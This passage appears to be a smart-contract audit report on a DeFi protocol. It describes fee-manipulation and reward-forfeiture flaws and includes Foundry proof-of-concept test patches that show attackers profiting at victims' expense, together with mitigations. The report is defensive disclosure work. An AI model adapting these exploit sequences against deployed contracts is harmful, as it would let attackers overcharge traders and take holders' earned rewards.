156 +     uint256 _retailFee = FullMath.mulDiv(pool.feeGrowthGlobal0X128(), uint256(_liquidity),
    FixedPoint128.Q128);
157 +
158 +     /*////////////////////////////////////*/
159 +             LEG B -- identical swap from the identical pool state,
160 +             by an unprivileged actor who adds ONE WEI of priority
161 +             fee above the module threshold. This is the exploit.
162 +             //////////////////////////////////////*/
163 +
164 +     vm.revertToState(_snapshot);
165 +
166 +     vm.txGasPrice(1e6 + 1e9 + 1); // priorityFee = threshold + 1 wei => getMevTax() returns
    (1, true)
167 +
168 +     uint256 _out1 = token1.balanceOf(users.charlie);
169 +     vm.prank(users.alice);
170 +     clCallee.swapExact0For1(address(pool), _amountIn, users.charlie, TickMath.MIN_SQRT_RATIO
    + 1);

```

DIFF

```

171 +     uint256 _tipperOut = token1.balanceOf(users.charlie) - _out1;
172 +     uint256 _tipperFee = FullMath.mulDiv(pool.feeGrowthGlobal0X128(), uint256(_liquidity),
FixedPoint128.Q128);
173 +
174 +     /*//////////////////////////////////////
175 +         DAMAGES
176 +     //////////////////////////////////////////*/
177 +
178 +     // 1. A pool configured at 0% charged a fee at all -- the configuration was discarded.
179 +     assertGt(_retailFee, 0);
180 +
181 +     // 2. It charged the full static tick-spacing fee: 3000 pips of the input (3e15 of
1e18).
182 +     assertApproxEqRel(_retailFee, (_amountIn * uint256(_staticFee)) / 1e6, 0.001e18);
183 +
184 +     // 3. One wei of priority fee reduces the same swap to exactly 1 pip (1e12 of 1e18).
185 +     assertApproxEqRel(_tipperFee, _amountIn / 1e6, 0.001e18);
186 +
187 +     // 4. The gap between retail and tipper is ~3000x on identical swaps from identical
state.
188 +     assertGt(_retailFee / _tipperFee, 2500);
189 +
190 +     // 5. The retail swapper's realised loss: less token1 out for the same token0 in,
~0.2999%.
191 +     assertGt(_tipperOut, _retailOut);
192 +     assertApproxEqRel(_tipperOut - _retailOut, (_amountIn * uint256(_staticFee - 1)) / 1e6,
0.01e18);
193 +
194 +     emit log_named_uint('input (token0 wei)', _amountIn);
195 +     emit log_named_uint('retail fee charged (token0 wei)', _retailFee);
196 +     emit log_named_uint('tipper fee charged (token0 wei)', _tipperFee);
197 +     emit log_named_uint('retail/tipper fee ratio', _retailFee / _tipperFee);
198 +     emit log_named_uint('retail token1 out', _retailOut);
199 +     emit log_named_uint('tipper token1 out', _tipperOut);

```

DIFF

```
200 +   emit log_named_uint('retail loss vs tipper (token1 wei)', _tipperOut - _retailOut);  
201 + }  
202 }
```

DynamicSwapFeeHook prices the block-wide swap fee off the pool's manipulable spot tick

Location	—
----------	---

Summary

`DynamicSwapFeeHook` decides one swap fee per block and caches it for every trade in that block, and it decides it by reading the pool's live `slot0().tick`. Whenever a CL pool's active liquidity is zero — a normal state for a pool whose price sits outside every LP range — any unprivileged caller can move that tick to a price of their choosing for zero tokens, which pins the next block's fee at the hook's cap. An attacker holding an ordinary range order in the pool then collects the overcharge from everyone who trades.

Finding Description

`_getDynamicFee` is meant to price volatility. Its own natspec one line above says it "Uses the time-weighted average tick from the pool's oracle", but the TWAP is only the reference point — the measured point is the raw spot tick:

SOLIDITY

```

1  (, int24 _currentTick, uint16 _observationIndex, uint16 _observationCardinality,,) =
    ICLPoolState(_pool).slot0();

2  ...

3  int24 _tickDelta = _currentTick - _twAvgTick;

4  return _absTickDelta * _scalingFactor / SCALING_PRECISION;
```

That result is added to the base fee, capped, and written to `blockFee[pool][block.number]` by the block's first swap (:541, :477). Every later swap in that block reads the cache and pays it, no recomputation.

`slot0().tick` is the one pool value that is free to move. When `CLPool.liquidity` is zero, `SwapMath.computeSwapStep` returns `amountIn = amountOut = feeAmount = 0` for every step, so a swap with `amountSpecified = 1` and a chosen `sqrtPriceLimitX96` walks the tick to that limit while `amountSpecifiedRemaining` never decreases. The callback settles with `(0, 0)` and no transfer. The attacker pays gas and nothing else.

The swap loop itself is not the defect — it is unmodified Uniswap v3-core. We diffed it against commit `d8b1c63`, the provenance `metadex-slipstream/SPECIFICATION.md` names: `SwapMath`, `SqrtPriceMath`, `TickBitmap` and `TickMath` are token-identical modulo brace style and digit separators, and every change inside `CLPool.swap` sits outside the tick walk. Uniswap ships this behaviour safely because nothing upstream

consumes `slot0.tick` for pricing. MetaDEX03 added a consumer that does, and that consumer is what needs fixing.

Two preconditions beyond zero active liquidity, both attacker-establishable. `_getDynamicFee` returns `0` while `observationCardinality == 1` — the slot at `(index + 1) % 1` is the one overwritten on every swap, so the pool always looks younger than `secondsAgo` — but `CLPool.increaseObservationCardinalityNext` is permissionless. And the pool must be older than `secondsAgo` (600s), which is simply time.

The attack cannot overcharge within its own block: the manipulating swap is priced against the pre-manipulation tick and, if it is first in the block, caches the low fee. The harvest is the next block, and it repeats for gas every block the pool's active liquidity stays at zero.

The same unvalidated tick is also handed to `CLPoolTape.record`, which folds it into `intervalMaxTick/intervalMinTick/lastTick`, the committed observation `closeTick`, and the 60-slot volatility ring with no range check and no cross-check against `slot0`. No in-repo contract reads that data today, so it is recorded here as a second sink on the same input rather than as impact — but the designated consumer, the `ElasticFeeModule`, is not in this repository.

Likelihood (Low)

Every step is available to an unprivileged EOA at gas-only cost and repeats indefinitely while the pool holds the required state, and that state — price parked outside every LP range — is ordinary for range-order and launch pools; the team's own fixture `MediumFeeToken0LiquidityOnly` builds it. What the attacker cannot control is whether anyone trades in the next block, and pools in this state are thin by construction, so revenue is opportunistic rather than assured. The fee component isn't switched on yet — the deploy scripts leave the hook slot empty with a "TODO". If it never ships, the bug never exists. The pool must currently have zero usable liquidity at its price (price sitting outside everyone's range). Common for new/thin pools, not for busy ones. The pool needs its price-history buffer expanded past its default — but anyone can do that for free, so it's a speed bump, not a blocker. Somebody has to actually trade in the next block, and the attacker can't force that.

Impact (Medium)

Every trade in the following block pays the hook's configured cap instead of the pool's base fee — measured at 2.00% against 0.30%, costing the victim 1.62% of their trade — and an attacker holding a range order in the pool collects 0.85% of that notional for zero tokens spent. Principal is never at risk and the overcharge is bounded by `feeCap` (at most `MAX_FEE_CAP = 50_000, 5%`), so this is a repeatable, profitable fee distortion rather than a drain.

Mitigation

Compute the dynamic component from the pool's time-weighted average tick rather than `slot0().tick`, so no single post-swap tick can set the block's fee — for example, measure a short TWAP against the long one

instead of spot against the long one. If a spot reading is kept deliberately, bound its deviation from the TWAP before it is scaled, so a walk through empty space is clamped rather than amplified to the cap. Separately, `CLPoolTape.record` should reject a `_data.tick` outside `[MIN_TICK, MAX_TICK]` or far from `ICLPoolState(_pool).slot0().tick`, and should not fold a swap that settled zero value into the interval extremes or the volatility ring.

Proof of Concept

The PoC runs the victim's identical trade twice from one snapshot — once untouched, once after the attacker's free swap — so the loss is measured against the protocol's own code rather than a hand-computed counterfactual. It uses the team's existing `MediumFeeToken0LiquidityOnly` fixture, whose single range order `[0, 120000]` puts the price at the bottom edge of the only position, and deploys the real `DynamicSwapFeeHook` against the real `CLPool` and `CLFactory` with no mock anywhere in the path. Note that the vendored slipstream repo does not forge build as shipped — `test/integration/metadex/_MetadexArtifacts.sol` imports into a stale `node_modules/metadex/src/` snapshot that predates both the hook and the tape — so the patch repoints that file at the audited sources.

1	block fee pips	no attack	3000 (0.30%)	attacked	20000 (2.00%)
2	victim token0 out		97275410395882625		95656417764763299
3	victim loss			1618992631119326	-1.62% of a 1e17 trade
4	attacker fee (token1)		149999999999999	999999999999999	
5	attacker profit notional			850000000000000	+0.85% of victim

Save the diff below as `dynamic-fee-tick-manipulation-poc.patch` in the audit repo root (paths are `metadex-slipstream/...`), then:

```
1 git apply dynamic-fee-tick-manipulation-poc.patch
2 cd metadex-slipstream
3 forge test --match-test test_POC_DynamicSwapFeeHookSpotTickFeeManipulation -vv
```

DIFF

```
1 diff --git a/metadex-slipstream/remappings.txt b/metadex-slipstream/remappings.txt
2 index e1d64e0..5576360 100644
3 --- a/metadex-slipstream/remappings.txt
4 +++ b/metadex-slipstream/remappings.txt
5 @@ -13,3 +13,5 @@ base64-sol/=node_modules/base64-sol/
6  metadex/=node_modules/metadex/src/
7  node_modules/metadex/:src/=node_modules/metadex/src/
```

DIFF

```

8   node_modules/metadex/:interfaces/=node_modules/metadex/src/interfaces/
9   +V3/../../metadex/V3/src/
10  +@solady/=node_modules/solady/src/
11  diff --git a/metadex-slipstream/test/integration/metadex/_MetadexArtifacts.sol b/metadex-
    slipstream/test/integration/metadex/_MetadexArtifacts.sol
12  index d6987b3..b52e2e5 100644
13  --- a/metadex-slipstream/test/integration/metadex/_MetadexArtifacts.sol
14  +++ b/metadex-slipstream/test/integration/metadex/_MetadexArtifacts.sol
15  @@ -3,5 +3,4 @@ pragma solidity 0.8.30;
16
17  // forces metadex 0.8.30 contracts to compile into out/ so that
18  // 0.7.6 integration tests can deploy them by artifact name via deployCode.
19  -import {DiscountRegistry} from 'metadex/fees/DiscountRegistry.sol';
20  -import {CLPoolTape} from 'metadex/pools/tape/CLPoolTape.sol';
21  +import {DynamicSwapFeeHook} from 'V3/hooks/dynamic/DynamicSwapFeeHook.sol';
22  diff --git a/metadex-slipstream/test/unit/concrete/CLPool/swapTests/swap/
    MediumFeeToken0LiquidityOnly.t.sol b/metadex-slipstream/test/unit/concrete/CLPool/swapTests/
    swap/MediumFeeToken0LiquidityOnly.t.sol
23  index b06b38d..6a64930 100644
24  --- a/metadex-slipstream/test/unit/concrete/CLPool/swapTests/swap/
    MediumFeeToken0LiquidityOnly.t.sol
25  +++ b/metadex-slipstream/test/unit/concrete/CLPool/swapTests/swap/
    MediumFeeToken0LiquidityOnly.t.sol
26  @@ -2,9 +2,18 @@ pragma solidity ^0.7.6;
27  pragma abicoder v2;
28
29  import {CLPoolSwapNoStakeTest} from './CLPoolSwapNoStake.t.sol';
30  +import {CLPool} from 'contracts/core/CLPool.sol';
31  import {ICLPool} from 'contracts/core/interfaces/ICLPool.sol';
32  +import {TickMath} from 'contracts/core/libraries/TickMath.sol';
33
34  contract MediumFeeToken0LiquidityOnlyTest is CLPoolSwapNoStakeTest {
35  + /// @dev One measured run of the victim swap (control vs attacked). Struct keeps the PoC
    off the stack limit.
36  + struct PocRun {

```

DIFF

```

37 +     uint256 victimTokenOut;
38 +     uint256 attackerFeeCollected;
39 +     uint256 blockFeePips;
40 + }
41 +
42     function setUp() public override {
43         super.setUp();
44
45 @@ -44,4 +53,117 @@ contract MediumFeeToken0LiquidityOnlyTest is CLPoolSwapNoStakeTest {
46         customUnstakedFeeModule.setCustomFee(address(pool), 420);
47         vm.startPrank(users.alice);
48     }
49 +
50 + /// @notice PoC – DynamicSwapFeeHook prices the block-wide swap fee off `slot0().tick`,
51 + /// which any unprivileged
52 + /// caller can move for zero tokens while the pool's active liquidity is zero. One
53 + /// gas-only swap in
54 + /// block N pins `blockFee` at the hook's cap for all of block N+1; the attacker's
55 + /// own range order
56 + /// collects the overcharge.
57 + function test_POC_DynamicSwapFeeHookSpotTickFeeManipulation() external {
58 +     vm.stopPrank(); // the fixture leaves users.alice pranked
59 +
60 +     CLPool pool = CLPool(poolSetup.pool);
61 +     address attacker = makeAddr('pocAttacker');
62 +     address victim = makeAddr('pocVictim');
63 +     int24 rangeTop = 2000 * TICK_SPACING_60;
64 +
65 +     // SETUP (protocol wiring, not part of the exploit): governance ships the dynamic fee
66 +     // hook.
67 +
68 +     // Constructor values are the team's own calibration from metadex V3/test/.../
69 +     // DynamicSwapFeeHookBase.sol:24-25.
70 +
71 +     // Artifact-path form: the hook's source lives in the sibling metadex repo (remapping
72 +     // V3/../../metadex/V3/src/),
73 +
74 +     // so it is addressed by its compiled artifact rather than by an in-project source path.

```

DIFF

```

66 +   address hook = deployCode(
67 +       'out/DynamicSwapFeeHook.sol/DynamicSwapFeeHook.json',
68 +       abi.encode(address(poolFactory), uint256(100 * 1e6), uint256(20_000), new address[]
        (0), new uint24[](0))
69 +   );
70 +   vm.prank(poolFactory.swapFeeManager());
71 +   poolFactory.setDefaultSwapHook(hook);
72 +
73 +   deal(address(token0), attacker, 10e18);
74 +   deal(address(token1), attacker, 10e18);
75 +   deal(address(token1), victim, 10e18);
76 +
77 +   // Everything below is callable by an unprivileged EOA on a live network.
78 +   vm.startPrank(attacker);
79 +   token0.approve(address(clCallee), type(uint256).max);
80 +   token1.approve(address(clCallee), type(uint256).max);
81 +   // An ordinary single-sided range order: the vehicle that collects the inflated fee.
82 +   clCallee.mint(address(pool), attacker, 0, rangeTop, 2e18);
83 +   // Permissionless: the hook's dynamic component is inert while observationCardinality ==
    1.
84 +   pool.increaseObservationCardinalityNext(2);
85 +   // A zero-cost round trip through the empty band grows the oracle ring to 2 and returns
    the tick to 0,
86 +   // so the control run and the attacked run start from identical pool state.
87 +   clCallee.swapExact0For1(address(pool), 1, attacker, TickMath.getSqrtRatioAtTick(-300));
88 +   clCallee.swapExact1For0(address(pool), 1, attacker, TickMath.getSqrtRatioAtTick(0));
89 +   vm.stopPrank();
90 +
91 +   vm.prank(victim);
92 +   token1.approve(address(clCallee), type(uint256).max);
93 +
94 +   // Let the hook's 600-second TWAP window fill with the settled tick.
95 +   vm.warp(block.timestamp + 3600);
96 +   vm.roll(block.number + 300);

```

DIFF

```

97  +
98  +     uint256 snapshotId = vm.snapshotState();
99  +     PocRun[2] memory runs; // [0] = no attack, [1] = attacked
100 +
101 +     for (uint256 i = 0; i < 2; i++) {
102 +         if (i == 1) {
103 +             // EXPLOIT: amountSpecified = 1 walks slot0.tick 300 ticks down through the
104 +             // liquidity-free band.
105 +             uint256 attackerToken0Before = token0.balanceOf(attacker);
106 +             uint256 attackerToken1Before = token1.balanceOf(attacker);
107 +
108 +             vm.prank(attacker);
109 +
110 +             clCallee.swapExact0For1(address(pool), 1, attacker,
111 +             TickMath.getSqrtRatioAtTick(-300));
112 +
113 +             assertEq(token0.balanceOf(attacker), attackerToken0Before, 'manipulation spent
114 +             token0');
115 +
116 +             assertEq(token1.balanceOf(attacker), attackerToken1Before, 'manipulation spent
117 +             token1');
118 +
119 +             (, int24 forgedTick,,,,) = pool.slot0();
120 +             assertEq(int256(forgedTick), int256(-300), 'tick was not forged');
121 +         }
122 +
123 +         vm.roll(block.number + 1);
124 +         vm.warp(block.timestamp + 2);
125 +
126 +         // A routine 1e17 buy against a 4e18-liquidity pool: small enough that price impact
127 +         // does not
128 +
129 +         // confound the measurement, so the output gap is the fee overcharge.
130 +
131 +         uint256 victimBalanceBefore = token0.balanceOf(victim);
132 +
133 +         vm.prank(victim);
134 +
135 +         clCallee.swapExact1For0(address(pool), 1e17, victim,
136 +         TickMath.getSqrtRatioAtTick(rangeTop));
137 +
138 +         runs[i].victimTokenOut = token0.balanceOf(victim) - victimBalanceBefore;
139 +
140 +

```

DIFF

```

126 +      (, bytes memory blockFeeRet) =
127 +          hook.staticcall(abi.encodeWithSignature('blockFee(address,uint256)', address(pool),
128 +              block.number));
129 +
130 +      vm.startPrank(attacker);
131 +      pool.burn(0, rangeTop, 0);
132 +      (, uint128 owedToken1) = pool.collect(attacker, 0, rangeTop, type(uint128).max,
133 +          type(uint128).max);
134 +      vm.stopPrank();
135 +      runs[i].attackerFeeCollected = owedToken1;
136 +
137 +      if (i == 0) vm.revertToState(snapshotId);
138 +
139 +      uint256 victimLoss = runs[0].victimTokenOut - runs[1].victimTokenOut;
140 +      uint256 attackerProfit = runs[1].attackerFeeCollected - runs[0].attackerFeeCollected;
141 +
142 +      emit log_named_uint('block fee pips, no attack', runs[0].blockFeePips);
143 +      emit log_named_uint('block fee pips, attacked', runs[1].blockFeePips);
144 +      emit log_named_uint('victim token0 out, no attack', runs[0].victimTokenOut);
145 +      emit log_named_uint('victim token0 out, attacked', runs[1].victimTokenOut);
146 +      emit log_named_uint('victim loss, token0', victimLoss);
147 +      emit log_named_uint('attacker fee token1, no attack', runs[0].attackerFeeCollected);
148 +      emit log_named_uint('attacker fee token1, attacked', runs[1].attackerFeeCollected);
149 +      emit log_named_uint('attacker profit, token1', attackerProfit);
150 +
151 +      // The hook charged the pool's base fee with no attack, and its configured cap after one
152 +      // gas-only swap.
153 +      assertEq(runs[0].blockFeePips, 3_000, 'control block fee is not the pool base fee');
154 +      assertEq(runs[1].blockFeePips, 20_000, 'attacked block fee is not pinned at the cap');
155 +
156 +      // The victim pays for it, on an identical 1e17 token1 trade: 2.00% taken instead of
157 +      // 0.30%.

```

DIFF

```
156 +   assertLt(runs[1].victimTokenOut, runs[0].victimTokenOut, 'victim was not overcharged');
157 +   assertGt(victimLoss, 1.6e15, 'victim loss below 1.6% of the 1e17 trade');
158 +
159 +   // And the attacker's range order collects it, having spent zero tokens to cause it.
160 +   assertGt(attackerProfit, 8e14, 'attacker profit below 0.8% of the victim trade');
161 + }
162 }
```

Permissionless exit drain strips queued holders of their un-notified rewards

Location	—
----------	---

Summary

A Relay pays rewards by advancing a per-share index against the yield token's supply at the moment of notification, while `RelayBase.processWithdrawals` — which burns a queued exiter's yield token — carries no role gate and no timing gate. Any unprivileged caller can therefore settle another holder's queued exit in the interval before the `CONVERTER`'s next `notifyReward`, permanently forfeiting that holder's share of every reward their weight already earned but that has not yet been notified. The value is not destroyed: it is repriced across the shrunken supply and paid to the holders who stayed, the caller included.

Finding Description

`RelayBase.processWithdrawals` is external `nonReentrant` with no `onlyRoles` and no window, so any account may settle the FIFO head exits at a moment of its choosing. For each settled exit the drain releases the escrow, burns the holder's principal token, and — while the Relay is open — burns their yield token, removing them from the reward denominator.

The team already identified this exact harm and fixed it on one side only. `QueueLib.sol:421-426`:

SOLIDITY

```
1  // The yield side burns only while the Relay is open. Past closure the fee tail of the final
2  // votes still arrives an epoch later, and the yield supply is that distribution's
3  // denominator: burning at exit would size each holder's slice by exit order, and a drained
4  // queue would strand the tail behind 'NoSupply'. The yield token is the receipt for the
   tail.
5  if (!_ctx.closed) _ctx.yieldToken.burn(_entry.holder, _entry.shares);
```

"Burning at exit would size each holder's slice by exit order" is the finding, stated by the protocol. The same understanding is recorded a second time on the parameter that selects the branch — `closed` is documented as "turns off the yield-side burn so the reward tail keeps its denominator" (`QueueLib.sol:71-72`). The justification for carving it out — the fee tail of votes already cast arrives later — is equally true of an open Relay: fees and incentives accrue continuously in each `VotingRewardsManager` and reach the index only after a keeper claims, converts and notifies. The open branch reintroduces exactly what the closed branch was written to avoid, against a batch that is still on its way rather than a final one.

The burn fires the satellite's hook before any balance write (`RelayToken.sol:135`), so `RelayRewardsLib.settleTransfer` settles the holder at their pre-burn balance against the current index. With the batch not yet notified the delta is zero, so nothing is credited; the escrow-lock guard is skipped because a burn carries `_to == 0`. After the burn the holder's balance is zero, so every later index advance multiplies by zero and their `claimable` is frozen forever. `notifyReward` then divides the whole batch by the reduced `yieldToken.totalSupply()`, so the surviving holders receive strictly more than their share and the difference is exactly what the exiter lost.

Three properties make this reliable rather than opportunistic:

- The exiter has no defence. `registerOnWithdrawQueue` is documented as "Permissionless; cannot be cancelled" (`IRelay.sol:557`), and the escrow locks their yield token in place, so they can neither withdraw the request nor sell the position while it waits.
- The funding precondition is guaranteed by the protocol, not by luck. `AllocationLib.allocate` reserves `pendingWithdrawalShares * claimable / supply` on `chainO` and refuses to allocate past it, so once an exit is queued the Relay may not allocate away the weight that covers it.
- No race is required. The burn is permanent, so the caller need only act at any point between two notifications rather than win a front-run.

The same codebase gates for ordering everywhere else on this path. `processPending` is KEEPER-gated and its permissionless fallback `processOverduePending` is bounded by `keeperWindow` (`RelayBase.sol:297-304`); `processDonations` is "Keeper-gated for ordering: donations are recognized before the vote that allocates them" (`IRelay.sol:656`). The withdraw drain has neither control.

The test suite exercises only the safe ordering. `test_WhenDrainingAnAccruingExit` notifies first, then drains, and asserts that the exiting holder keeps their accrual — "accrual never settled before a full exit survives it as `pendingReward` and pays out afterwards." That property is real and holds under either ordering, but it only ever protects accrual the index has already absorbed. No test drains before a notify, so the case where an exiter's earned value has not yet reached the index is never exercised.

This is not `audit.md`'s accepted behaviour "A deposit admitted between an allocation and its reward batch shares in that batch". That entry covers the same primitive in the mint direction, and its stated mitigation is the keeper window: "a window at or above the allocation cadence keeps the permissionless path out of the batch." That window exists only on the deposit path. The control the team names as the fix is absent from the path this finding uses, and the harm is inverted — there a new depositor gains a slice of future yield, here an exiting holder loses yield their own weight already earned.

Likelihood (Medium)

Every step is available to an unprivileged account: yield tokens are obtained by a permissionless Maxi deposit (self-admissible through `processOverduePending` after `keeperWindow`), and `processWithdrawals` and `claim` carry no role. The one condition outside the caller's control is that someone is exiting — routine on any Relay,

and its funding is reserved on chain0 by the allocation path.

Impact (Medium)

An exiting holder permanently forfeits 100% of their pro-rata share of every reward not yet notified when their exit settles — not only the balance sitting on the Relay, but everything still accruing in each `VotingRewardsManager` and anything already claimed to a leaf chain awaiting the claim → bridge → convert → notify round trip. Principal is untouched and the `accountedBalance <= balanceOf` solvency invariant holds, but the loss is irreversible, unrecoverable by any admin path, and repeats on every distribution cycle.

Mitigation

Gate the drain the way the deposit path is already gated: make `processWithdrawals` KEEPER-only and add a permissionless `processOverdueWithdrawals` bounded by `keeperWindow`, mirroring `processPending` / `processOverduePending`. This is the same control `audit.md` names as the mitigation for the mint-side twin, it preserves the anti-withholding guarantee the permissionless drain exists to provide, and it removes the caller's control over the burn instant. Alternatively, settle the exiting holder against the un-accounted balance (`balanceOf(token) - accountedBalance[token]`) pro rata before burning their yield token — correct in principle, but it prices a batch the CONVERTER has not sized yet and cannot reach value still sitting on a leaf.

Proof of Concept

Both orderings run against identical state through a snapshot, so the loss is measured against the protocol's own code rather than a hand-computed counterfactual: the honest ordering (notify, then drain) records what the exiting holder is owed, the state is reverted, and the attacker's ordering (drain, then notify) runs from the same starting point. The only difference is who calls `processWithdrawals` and when. Reward payouts are real ERC-20 transfers, so the balances asserted are genuine.

Supply is 500e18 yield tokens — exiting holder 300e18 (60%), attacker 100e18 (20%), a passive bootstrap holder 100e18 (20%) — against a pending un-notified batch of 1000e18.

1		honest ordering	attacked ordering	delta
2	exiting holder (alice) NothingToClaim)	600e18	0	-600e18 (claim reverts
3	attacker (bob)	200e18	500e18	+300e18
4	passive holder	200e18	500e18	+300e18

Save the diff below as `relay-withdraw-drain-poc.patch` in the audit repo root (paths are `metadex/...`), then:

```
1 git apply relay-withdraw-drain-poc.patch
2 cd metadex
```

```
3 forge test --match-test test_POB_PermissionlessWithdrawDrainStripsExitingHolderOfAccruedYield
-vv
```

DIFF

```
1 diff --git a/metadex/V3/test/unit/relay/RelayLifecycleMaxi.t.sol b/metadex/V3/test/unit/
  relay/RelayLifecycleMaxi.t.sol
2 index e7a2712..110e987 100644
3 --- a/metadex/V3/test/unit/relay/RelayLifecycleMaxi.t.sol
4 +++ b/metadex/V3/test/unit/relay/RelayLifecycleMaxi.t.sol
5 @@ -3,10 +3,12 @@ pragma solidity 0.8.30;
6
7 import {ERC20} from '@solady/tokens/ERC20.sol';
8
9 +import {TestERC20} from 'V3-test/mocks/TestERC20.sol';
10 import {BaseRelay} from 'V3-test/unit/relay/BaseRelay.sol';
11
12 import {IRelay} from 'V3/interfaces/relay/IRelay.sol';
13 import {IRelayToken} from 'V3/interfaces/relay/IRelayToken.sol';
14 +import {IVoter} from 'V3/interfaces/voter/IVoter.sol';
15
16 /// @notice Lifecycle over a MaxiRelay deployed with a transferable yield token: the
  bootstrap
17 /// pair mint, ratio-priced admissions, holder-to-holder YT moves settling seller
  and buyer,
18 @@ -471,6 +473,95 @@ contract UnitRelayLifecycleMaxi is BaseRelay {
19     assertEq(_relay.accountedBalance(_rewardToken), 100e18);
20 }
21
22 + /// @notice PoC – the permissionless 'processWithdrawals' burns a queued exiter's YT ahead
  of the
23 + /// CONVERTER's reward notification, so the batch their weight earned is repriced
  over the
24 + /// shrunken YT supply and paid entirely to the holders who stayed.
25 + /// @dev Both orderings run against the same state through a snapshot: the honest one
  (notify,
26 + /// then drain) is the control that 'test_WhenDrainingAnAccruingExit' pins, the
  attacker's
```

DIFF

```

27 +   ///           (drain, then notify) is the exploit. The only difference is who calls the
    ungated
28 +   ///           'processWithdrawals' first, and that caller is an unprivileged EOA holding YT.
29 +   function test_POC_PermissionlessWithdrawDrainStripsExitingHolderOfAccruedYield() external
    {
30 +       // ---- Setup: two ordinary permissionless Maxi deposits on top of the 100e18 genesis
        seed ----
31 +       _admitDeposit(users.alice, 2, 300e18);
32 +       _admitDeposit(users.bob, 3, 100e18);
33 +       assertEq(_yieldToken.totalSupply(), 500e18);
34 +
35 +       // A real ERC-20 reward token, registered the way any Relay is configured before it
        earns.
36 +       TestERC20 _reward = new TestERC20('Reward', 'RWD', 18);
37 +       vm.prank(_keeper);
38 +       _relay.addRewardToken(address(_reward));
39 +
40 +       // alice queues her whole position. Permissionless, and there is no cancel path.
41 +       vm.prank(users.alice);
42 +       _relay.registerOnWithdrawQueue(300e18, _MINT_SENTINEL);
43 +
44 +       // The Relay's accrued fees/incentives land on it as un-accounted balance – the state
        the
45 +       // permissionless 'claimRewards' produces – and wait for the CONVERTER to notify them.
46 +       _reward.mint(address(_relay), 1000e18);
47 +
48 +       // Free chain0 weight covering exactly alice's priced exit: 'AllocationLib.allocate'
        reserves
49 +       // 'pendingWithdrawalShares * claimable / supply' on chain0 and refuses to allocate past
        it, so
50 +       // an exit's funding is guaranteed by the production allocation path, not by this
        reading.
51 +       vm.mockCall(
52 +         _voter, abi.encodeCall(IVoter.allocationChainAmounts, (_RELAY_TOKEN_ID, 0)),
        abi.encode(uint128(300e18))
53 +       );

```

DIFF

```
54 +   _mockWithdrawRoute(users.alice, 300e18, 777);
55 +
56 +   uint256 _snapshot = vm.snapshotState();
57 +
58 +   // ---- Control: the ordering the design assumes – notify first, then drain ----
59 +   vm.prank(_converter);
60 +   _relay.notifyReward(address(_reward), 1000e18);
61 +   vm.prank(users.bob);
62 +   _relay.processWithdrawals(1);
63 +
64 +   vm.prank(users.alice);
65 +   uint256 _aliceFair = _relay.claim(address(_reward), users.alice);
66 +   vm.prank(users.bob);
67 +   uint256 _bobFair = _relay.claim(address(_reward), users.bob);
68 +
69 +   vm.revertToState(_snapshot);
70 +
71 +   // The revert really restored the pre-notify state: full supply, untouched reward
   balance, and
72 +   // alice's exit still queued.
73 +   assertEq(_yieldToken.totalSupply(), 500e18);
74 +   assertEq(_reward.balanceOf(address(_relay)), 1000e18);
75 +   assertEq(_relay.pendingWithdrawalShares(), 300e18);
76 +
77 +   // ---- Exploit: bob, an unprivileged YT holder, drains the queue before the same notify
   ----
78 +   vm.prank(users.bob);
79 +   _relay.processWithdrawals(1);
80 +   assertEq(_yieldToken.balanceOf(users.alice), 0);
81 +   assertEq(_yieldToken.totalSupply(), 200e18);
82 +
83 +   vm.prank(_converter);
84 +   _relay.notifyReward(address(_reward), 1000e18);
```

DIFF

```

85 +
86 +     vm.prank(users.bob);
87 +     uint256 _bobStolen = _relay.claim(address(_reward), users.bob);
88 +
89 +     // ---- Impact ----
90 +     // alice's weight earned 60% of the batch and she receives none of it: her YT is burned,
her
91 +     // checkpoint sits at the pre-notify index, and 'claim' has nothing left to pay her.
92 +     assertEq(_aliceFair, 600e18);
93 +     assertEq(_relay.claimable(users.alice, address(_reward)), 0);
94 +     assertEq(_reward.balanceOf(users.alice), 0);
95 +     vm.prank(users.alice);
96 +     vm.expectRevert(IRelay.NothingToClaim.selector);
97 +     _relay.claim(address(_reward), users.alice);
98 +
99 +     // bob's own take rises by exactly what the reordering moved onto the surviving supply.
100 +     assertEq(_bobFair, 200e18);
101 +     assertEq(_bobStolen, 500e18);
102 +     assertEq(_reward.balanceOf(users.bob), 500e18);
103 +     assertEq(_bobStolen - _bobFair, 300e18);
104 +
105 +     // Nothing is destroyed: alice's whole 600e18 share is redistributed pro rata to the
holders who
106 +     // stayed, and the attacker takes half of it for the price of one permissionless call.
107 +     assertEq(_relay.claimable(_bootstrapOwner, address(_reward)), 500e18);
108 +     assertEq(_aliceFair, (_bobStolen - _bobFair) * 2);
109 + }
110 +
111 + /// @notice The zero address is the only banned recipient; the protocol addresses are not.
112 + function test_WhenTransferringYieldToTheZeroAddress() external {
113 +     _admitDeposit(users.alice, 2, 100e18);

```

Instantaneous-supply fee credit forfeits an expiring voter's accrued fees to the next notify

Location	—
----------	---

Summary

`FeeDistribution._notifyFeesAmount` prices a gauge's entire un-notified fee backlog against `totalSupply()` sampled at the single instant the notify happens (`FeeDistribution.sol:88-91`). A decaying stake's expiry removes its weight from that denominator with no state write, no event and no notify — the scheduled slope change is simply applied the next time `_supplyAt` walks past the boundary. The fees it earned while it held weight are therefore credited after it is gone, and `computeFeeRewards` clips its priced span to the last checkpoint before expiry, so its share of that credit is exactly zero.

The value is not burned; it is paid in full to whoever holds weight when the notify finally fires, which an unprivileged EOA can arrange for one wei of AERO. In the PoC a 1,000,000 AERO voter earns 1799.99 DAI and 1799.99 USDC of real swap fees over a two-week lock, receives nothing, and an attacker holding one wei of permanent stake takes 100% of both.

Finding Description

The denominator is a spot sample. `totalSupply()` is `_supplyAt(globalCheckpointIndex, block.timestamp)` (`VotingCheckpoints.sol:79-81`) — one instant. A lump that accrued over weeks is divided by it with no attribution to the interval it accrued in. This is the fee path's one divergence from its sibling: the incentive path accrues `sharePerVote += (_dt * _ACCUMULATOR_PRECISION) / _supply` per sub-interval (`VotingRewardsManager.sol:347`), so its denominator is time-integrated. The fee path does carry a time-weighted accumulator, `feeReward0xTime` (`FeeDistribution.sol:93`), but it integrates only the claimant's own decay, never the supply it is divided by.

